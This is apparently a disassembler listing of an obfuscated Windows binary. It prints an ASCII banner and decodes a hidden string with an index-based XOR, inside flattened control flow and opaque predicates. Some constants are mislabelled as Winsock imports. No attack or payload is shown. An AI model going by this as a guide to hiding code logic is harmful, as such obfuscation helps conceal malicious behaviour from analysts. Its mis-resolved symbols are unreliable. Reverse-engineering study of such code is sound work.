mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003350
add rsp, 0x20
sub rsp, 0x20
lea rdx, str.________________________________________________________________n_____________________________________________________________n______________________________________________________________n________________________________________________________n____________________________________________________________n____________________________________________________________n___________________________________________________________n___________________________________________________________n_____________________________________________________________________________________________________________n_____________________________0000_____________________________
mov rcx, rax
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov rcx, rax
mov dl, 0xa
call fcn.140004df0
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x1400351a2
xor cl, al
jne 0x1400351a2
nop dword [rax]
jmp 0x1400351a0
sub rsp, 0x20
lea rcx, [0x1402b5810]
call fcn.1402296c0
add rsp, 0x20
sub rsp, 0x20
call fcn.14000d6f0
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e0c], 0xa
setl dl
test dl, cl
jne 0x1400351f2
xor dl, cl
jne 0x1400351f2
nop dword [rax]
jmp 0x1400351f0
test al, al
je 0x1400b29dc
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140002b10
add rsp, 0x20
mov rsi, rax
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5e0c], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140035252
or cl, al
je 0x140035252
nop word cs:[rax + rax]
jmp 0x140035250
sub rsp, 0x20
lea rcx, [rbp + 0x148]
call section..text
add rsp, 0x20
mov eax, dword [0x1402b5e08]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5e0c], 0xa
setl cl
test cl, al
jne 0x140035292
xor cl, al
jne 0x140035292
nop
jmp 0x140035290
sub rsp, 0x20
lea rdx, [rbp + 0x148]
mov rcx, rsi
call fcn.140002980
add rsp, 0x20
mov ecx, dword [0x1402b5e08]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e0c], 0xa
setl dl
test dl, cl
jne 0x1400352e2
xor dl, cl
jne 0x1400352e2
nop word cs:[rax + rax]
jmp 0x1400352e0
sub rsp, 0x20
mov rcx, rax
call fcn.140002e40
add rsp, 0x20
mov rdi, rax
mov qword [rbp + 0x90], rsp
mov eax, 0x99615b16
mov r8d, 0x633b103f
mov r9d, 0x1fc95506
lea r10, str._____Active_Home_Bluetacks
mov r11d, 0x54adb68a
jmp 0x140035330
mov eax, 0x633b103f
nop word cs:[rax + rax]
cmp eax, 0x1fc95505
jle 0x1400353a2
cmp eax, 0x1fc95506
je 0x14003531c
cmp eax, 0x54adb68a
je 0x1400353b2
cmp eax, 0x633b103f
jne 0x140035330
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x138]
mov qword [rax], r10
mov eax, dword [0x1402b5e38]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete cl
mov eax, 0x1fc95506
cmove eax, r11d
cmp dword [0x1402b5e3c], 0xa
cmovge eax, r9d
setl dl
xor dl, cl
cmovne eax, r11d
jmp 0x140035330
cmp eax, 0x99615b16
je 0x1400353bc
cmp eax, 0xf092ee1d
jne 0x140035330
jmp 0x1400353fe
mov eax, 0xf092ee1d
jmp 0x140035330
mov eax, dword [0x1402b5e38]
mov ecx, dword [0x1402b5e3c]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete bl
cmp ecx, 0xa
setl sil
xor sil, bl
mov esi, 0x1fc95506
cmovne esi, r8d
test eax, edx
mov eax, esi
cmove eax, r8d
cmp ecx, 0xa
cmovge eax, esi
jmp 0x140035330
mov rax, qword [rbp + 0x138]
mov rax, qword [rax]
mov ecx, 0xed6d699e
nop dword [rax]
cmp ecx, 0xed6d699e
je 0x140035422
cmp ecx, 0x80d053ce
jne 0x140035410
jmp 0x140035429
mov ecx, 0x80d053ce
jmp 0x140035410
lea rcx, [rbp + 0x1d0]
mov qword [rbp + 0x198], rcx
mov r8, qword [rbp + 0x198]
movsx r9, byte [rax]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne cl
sete dl
cmp dword [0x1402b5e44], 0xa
setge r10b
setl r11b
xor r11b, dl
or r10b, cl
xor r10b, 1
or r10b, r11b
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov esi, 0xba371466
nop word cs:[rax + rax]
cmp esi, 0xba371465
jle 0x1400354e1
cmp esi, 0xcf11b8d3
je 0x140035572
cmp esi, 0xbf6db58e
je 0x14003554f
cmp esi, 0xba371466
jne 0x1400354a0
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], 0
mov esi, 0xbf6db58e
jmp 0x1400354a0
cmp esi, 0xa56cc5a2
je 0x140035557
cmp esi, 0xa939350a
jne 0x1400354a0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov esi, 0xa56cc5a2
jmp 0x1400354a0
mov esi, r11d
jmp 0x1400354a0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov esi, r10d
jmp 0x1400354a0
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [r8], cl
movsx r9, byte [rax + 1]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov esi, 0xba371466
nop word [rax + rax]
cmp esi, 0xba371465
jle 0x140035611
cmp esi, 0xcf11b8d3
je 0x1400356aa
cmp esi, 0xbf6db58e
je 0x14003567f
cmp esi, 0xba371466
jne 0x1400355d0
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], 1
mov esi, 0xbf6db58e
jmp 0x1400355d0
cmp esi, 0xa56cc5a2
je 0x140035687
cmp esi, 0xa939350a
jne 0x1400355d0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov esi, 0xa56cc5a2
jmp 0x1400355d0
mov esi, r11d
jmp 0x1400355d0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov esi, r10d
jmp 0x1400355d0
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [r8 + 1], cl
movsx r9, byte [rax + 2]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete cl
cmp dword [0x1402b5e44], 0xa
setl dl
or dl, cl
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov esi, 0xba371466
nop word cs:[rax + rax]
cmp esi, 0xba371465
jle 0x140035751
cmp esi, 0xcf11b8d3
je 0x1400357e2
cmp esi, 0xbf6db58e
je 0x1400357bf
cmp esi, 0xba371466
jne 0x140035710
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], 2
mov esi, 0xbf6db58e
jmp 0x140035710
cmp esi, 0xa56cc5a2
je 0x1400357c7
cmp esi, 0xa939350a
jne 0x140035710
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov esi, 0xa56cc5a2
jmp 0x140035710
mov esi, r11d
jmp 0x140035710
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov esi, r10d
jmp 0x140035710
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [r8 + 2], cl
movsx r9, byte [rax + 3]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne cl
cmp dword [0x1402b5e44], 0xa
setge dl
mov r10d, edx
xor r10b, cl
or dl, cl
xor dl, 1
or dl, r10b
mov r10d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r10d, ecx
mov r11d, 0xa56cc5a2
cmove r11d, ecx
mov esi, 0xba371466
nop word cs:[rax + rax]
cmp esi, 0xba371465
jle 0x140035891
cmp esi, 0xcf11b8d3
je 0x140035922
cmp esi, 0xbf6db58e
je 0x1400358ff
cmp esi, 0xba371466
jne 0x140035850
mov qword [rbp + 0x1c0], r9
mov qword [rbp + 0x1a0], 3
mov esi, 0xbf6db58e
jmp 0x140035850
cmp esi, 0xa56cc5a2
je 0x140035907
cmp esi, 0xa939350a
jne 0x140035850
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov esi, 0xa56cc5a2
jmp 0x140035850
mov esi, r11d
jmp 0x140035850
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov esi, r10d
jmp 0x140035850
mov qword [rbp + 0xf8], rdi
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [r8 + 3], cl
movsx r11, byte [rax + 4]
mov ebx, dword [0x1402b5e40]
mov edi, dword [0x1402b5e44]
lea ecx, [rbx + 1]
imul ecx, ebx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete cl
cmp edi, 0xa
setl dl
or dl, cl
mov r9d, 0xcf11b8d3
mov ecx, 0xa939350a
cmove r9d, ecx
mov r10d, 0xa56cc5a2
cmove r10d, ecx
mov esi, 0xba371466
nop word cs:[rax + rax]
cmp esi, 0xba371465
jle 0x1400359d1
cmp esi, 0xcf11b8d3
je 0x140035a62
cmp esi, 0xbf6db58e
je 0x140035a3f
cmp esi, 0xba371466
jne 0x140035990
mov qword [rbp + 0x1c0], r11
mov qword [rbp + 0x1a0], 4
mov esi, 0xbf6db58e
jmp 0x140035990
cmp esi, 0xa56cc5a2
je 0x140035a47
cmp esi, 0xa939350a
jne 0x140035990
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov esi, 0xa56cc5a2
jmp 0x140035990
mov esi, r10d
jmp 0x140035990
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov esi, r9d
jmp 0x140035990
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [r8 + 4], cl
movsx r11, byte [rax + 5]
mov esi, 0xba371466
nop dword [rax]
cmp esi, 0xba371465
jle 0x140035ac1
cmp esi, 0xcf11b8d3
je 0x140035b52
cmp esi, 0xbf6db58e
je 0x140035b2f
cmp esi, 0xba371466
jne 0x140035a80
mov qword [rbp + 0x1c0], r11
mov qword [rbp + 0x1a0], 5
mov esi, 0xbf6db58e
jmp 0x140035a80
cmp esi, 0xa56cc5a2
je 0x140035b37
cmp esi, 0xa939350a
jne 0x140035a80
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov esi, 0xa56cc5a2
jmp 0x140035a80
mov esi, r10d
jmp 0x140035a80
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov esi, r9d
jmp 0x140035a80
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [r8 + 5], cl
add r8, 6
mov qword [rbp + 0x128], r8
movsx r8, byte [rax + 6]
mov r11d, 0xba371466
nop dword [rax]
cmp r11d, 0xba371465
jle 0x140035bc6
cmp r11d, 0xcf11b8d3
je 0x140035c63
cmp r11d, 0xbf6db58e
je 0x140035c37
cmp r11d, 0xba371466
jne 0x140035b80
mov qword [rbp + 0x1c0], r8
mov qword [rbp + 0x1a0], 6
mov r11d, 0xbf6db58e
jmp 0x140035b80
cmp r11d, 0xa56cc5a2
je 0x140035c3f
cmp r11d, 0xa939350a
jne 0x140035b80
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov r11d, 0xa56cc5a2
jmp 0x140035b80
mov r11d, r10d
jmp 0x140035b80
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov r11, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, r11d
xor edx, ecx
mov r11d, r9d
jmp 0x140035b80
mov byte [rbp + 0x190], dl
movzx ecx, byte [rbp + 0x190]
mov byte [rbp + 0x130], cl
mov r14d, 0xb92a5fe9
mov r8d, 0x2724c465
mov r9d, 0xd43b7be9
mov r10d, 0xcf11b8d3
mov r11d, 0xa56cc5a2
mov ecx, dword [0x1402b5e48]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
sete cl
mov edx, 0xd43b7be9
cmove edx, r8d
cmp dword [0x1402b5e4c], 0xa
cmovge edx, r9d
setl r15b
xor r15b, cl
cmovne edx, r8d
nop dword [rax]
cmp r14d, 0xfb07dc89
jle 0x140035cfd
cmp r14d, 0xfb07dc8a
je 0x140037934
cmp r14d, 0x32cb6814
je 0x140035d11
cmp r14d, 0x2724c465
jne 0x140035cd0
jmp 0x140036abe
cmp r14d, 0xb92a5fe9
je 0x140035d19
cmp r14d, 0xd43b7be9
jne 0x140035cd0
jmp 0x140035d1e
mov r14d, 0xfb07dc8a
jmp 0x140035cd0
mov r14d, edx
jmp 0x140035cd0
mov rcx, qword [rbp + 0x128]
movzx edx, byte [rbp + 0x130]
mov byte [rcx], dl
mov r14, qword [rbp + 0x128]
movsx rdi, byte [rax + 7]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1402b5e44], 0xa
setge bl
setl sil
xor sil, cl
or bl, dl
not bl
or bl, sil
test bl, 1
mov ebx, 0xa939350a
cmovne ebx, r10d
mov r15d, 0xa939350a
cmovne r15d, r11d
mov ecx, 0xba371466
nop
cmp ecx, 0xba371465
jle 0x140035dc1
cmp ecx, 0xcf11b8d3
je 0x140035e59
cmp ecx, 0xbf6db58e
je 0x140035e2f
cmp ecx, 0xba371466
jne 0x140035d80
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], 7
mov ecx, 0xbf6db58e
jmp 0x140035d80
cmp ecx, 0xa56cc5a2
je 0x140035e37
cmp ecx, 0xa939350a
jne 0x140035d80
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140035d80
mov ecx, r15d
jmp 0x140035d80
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ecx, ebx
jmp 0x140035d80
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 1], cl
movsx rdi, byte [rax + 8]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1402b5e44], 0xa
setge bl
setl sil
xor sil, cl
or bl, dl
not bl
or bl, sil
test bl, 1
mov ebx, 0xa939350a
cmovne ebx, r10d
mov r15d, 0xa939350a
cmovne r15d, r11d
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140035f01
cmp ecx, 0xcf11b8d3
je 0x140035f99
cmp ecx, 0xbf6db58e
je 0x140035f6f
cmp ecx, 0xba371466
jne 0x140035ec0
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], 8
mov ecx, 0xbf6db58e
jmp 0x140035ec0
cmp ecx, 0xa56cc5a2
je 0x140035f77
cmp ecx, 0xa939350a
jne 0x140035ec0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140035ec0
mov ecx, r15d
jmp 0x140035ec0
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rsi, qword [rbp + 0x1c0]
mov edx, ecx
xor edx, ecx
not edx
and edx, esi
xor edx, ecx
mov ecx, ebx
jmp 0x140035ec0
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 2], cl
movsx rdi, byte [rax + 9]
mov ecx, dword [0x1402b5e40]
lea edx, [rcx + 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0xfffffffe
test ecx, edx
setne cl
cmp dword [0x1402b5e44], 0xa
setge dl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, 0xa939350a
cmovne ebx, r10d
mov r15d, 0xa939350a
cmovne r15d, r11d
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140036041
cmp ecx, 0xcf11b8d3
je 0x1400360d1
cmp ecx, 0xbf6db58e
je 0x1400360af
cmp ecx, 0xba371466
jne 0x140036000
mov qword [rbp + 0x1c0], rdi
mov qword [rbp + 0x1a0], 9
mov ecx, 0xbf6db58e
jmp 0x140036000
cmp ecx, 0xa56cc5a2
je 0x1400360b7
cmp ecx, 0xa939350a
jne 0x140036000
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140036000
mov ecx, r15d
jmp 0x140036000
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, ebx
jmp 0x140036000
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 3], cl
movsx r13, byte [rax + 0xa]
mov ebx, dword [0x1402b5e40]
mov edi, dword [0x1402b5e44]
lea ecx, [rbx + 1]
imul ecx, ebx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmp edi, 0xa
setl dl
or dl, cl
mov r15d, 0xa939350a
cmovne r15d, r10d
mov r12d, 0xa939350a
cmovne r12d, r11d
mov ecx, 0xba371466
nop word cs:[rax + rax]
cmp ecx, 0xba371465
jle 0x140036171
cmp ecx, 0xcf11b8d3
je 0x140036202
cmp ecx, 0xbf6db58e
je 0x1400361df
cmp ecx, 0xba371466
jne 0x140036130
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], 0xa
mov ecx, 0xbf6db58e
jmp 0x140036130
cmp ecx, 0xa56cc5a2
je 0x1400361e7
cmp ecx, 0xa939350a
jne 0x140036130
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140036130
mov ecx, r12d
jmp 0x140036130
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x140036130
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 4], cl
movsx r13, byte [rax + 0xb]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140036261
cmp ecx, 0xcf11b8d3
je 0x1400362f2
cmp ecx, 0xbf6db58e
je 0x1400362cf
cmp ecx, 0xba371466
jne 0x140036220
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], select
mov ecx, 0xbf6db58e
jmp 0x140036220
cmp ecx, 0xa56cc5a2
je 0x1400362d7
cmp ecx, 0xa939350a
jne 0x140036220
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140036220
mov ecx, r12d
jmp 0x140036220
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x140036220
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 5], cl
movsx r13, byte [rax + 0xc]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140036351
cmp ecx, 0xcf11b8d3
je 0x1400363e2
cmp ecx, 0xbf6db58e
je 0x1400363bf
cmp ecx, 0xba371466
jne 0x140036310
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], select
mov ecx, 0xbf6db58e
jmp 0x140036310
cmp ecx, 0xa56cc5a2
je 0x1400363c7
cmp ecx, 0xa939350a
jne 0x140036310
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140036310
mov ecx, r12d
jmp 0x140036310
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x140036310
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 6], cl
movsx r13, byte [rax + 0xd]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140036441
cmp ecx, 0xcf11b8d3
je 0x1400364d2
cmp ecx, 0xbf6db58e
je 0x1400364af
cmp ecx, 0xba371466
jne 0x140036400
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_listen
mov ecx, 0xbf6db58e
jmp 0x140036400
cmp ecx, 0xa56cc5a2
je 0x1400364b7
cmp ecx, 0xa939350a
jne 0x140036400
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x140036400
mov ecx, r12d
jmp 0x140036400
mov rcx, qword [rbp + 0x1a0]
add ecx, 0xb
mov rdx, qword [rbp + 0x1c0]
xor edx, ecx
mov ecx, r15d
jmp 0x140036400
mov byte [rbp + 0x188], dl
movzx ecx, byte [rbp + 0x188]
mov byte [r14 + 7], cl
movsx r13, byte [rax + 0xe]
mov ecx, 0xba371466
nop dword [rax]
cmp ecx, 0xba371465
jle 0x140036531
cmp ecx, 0xcf11b8d3
je 0x1400365c2
cmp ecx, 0xbf6db58e
je 0x14003659f
cmp ecx, 0xba371466
jne 0x1400364f0
mov qword [rbp + 0x1c0], r13
mov qword [rbp + 0x1a0], reloc.WS2_32.dll_ntohl
mov ecx, 0xbf6db58e
jmp 0x1400364f0
cmp ecx, 0xa56cc5a2
je 0x1400365a7
cmp ecx, 0xa939350a
jne 0x1400364f0
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1a0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov rcx, qword [rbp + 0x1c0]
mov ecx, 0xa56cc5a2
jmp 0x1400364f0
